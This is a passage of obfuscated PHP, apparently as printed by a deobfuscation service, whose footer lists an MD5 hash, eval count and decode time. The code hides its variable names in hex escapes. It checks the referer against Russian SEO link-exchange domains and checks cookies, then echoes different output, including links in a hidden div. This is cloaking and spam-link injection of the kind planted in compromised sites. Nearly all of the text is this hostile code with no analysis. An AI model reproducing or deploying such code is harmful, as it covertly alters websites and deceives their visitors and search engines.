${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x71\x73yz\x72k\x66\x65r\x6b\x75"]}=preg_replace(${${"\x47\x4cO\x42\x41\x4cS"}["\x6f\x73j\x71\x70\x78"]},${$dlkfdamjwi},${${"\x47\x4cO\x42A\x4cS"}["\x6a\x77\x64k\x64\x74\x6f\x66\x6b\x78\x63"]});
$host=parse_url($_SERVER["HT\x54P\x5fREF\x45R\x45R"],PHP_URL_HOST);
if(isset($_COOKIE["_\x70\x68p\x63a\x63\x68e"]))
{
echo${${"\x47\x4cO\x42\x41\x4c\x53"}["\x71\x73\x79\x7ar\x6bf\x65\x72\x6b\x75"]};
}
elseif(
($host=="w\x77w\x2et\x72\x75\x73t\x6c\x69\x6ek\x2er\x75")
or
($host=="tr\x75st\x6cink\x2eru")
or
($host=="\x77\x77\x77.\x6d\x61\x69n\x6ci\x6ek.ru")
or
($host=="\x6d\x61inlink\x2er\x75")
or
($host=="\x77ww.\x6ci\x6ekf\x65e\x64\x2er\x75")
or
($host=="\x6c\x69nk\x66\x65e\x64.\x72u")
or
($host=="se\x6fpul\x74\x2eru")
or
($host=="\x77\x77\x77.\x73e\x6f\x70u\x6ct.ru")
or
($host=="s\x65\x6fp\x75l\x74\x2ep\x72\x6f")
or
($host=="\x77ww\x2e\x73\x65\x6fp\x75\x6c\x74\x2epr\x6f")
)
{
${"\x47\x4c\x4f\x42A\x4cS"}["\x77\x68\x76\x74\x71\x79c\x69\x7a"]="\x63";
echo${${"\x47\x4c\x4fBA\x4c\x53"}["\x77hv\x74\x71\x79\x63i\x7a"]};
}
elseif($_COOKIE["_\x70\x68\x70se\x6c\x66"]==5)
{
echo"<d\x69\x76\x20\x63\x6c\x61\x73s\x3d\"\x73s\x69l\x6c\">".${${"\x47L\x4fB\x41\x4c\x53"}["\x71s\x79\x7a\x72\x6b\x66\x65\x72\x6b\x75"]}."\x3c/d\x69v\x3e";
}
else
{
$vcnbsu="c";
echo${$vcnbsu};
}
?>
Function Calls
| None |
Stats
| MD5 | 3b81c3f24b2c390b8fa4db33fdde7651 |
| Eval Count | 0 |
| Decode Time | 202 ms |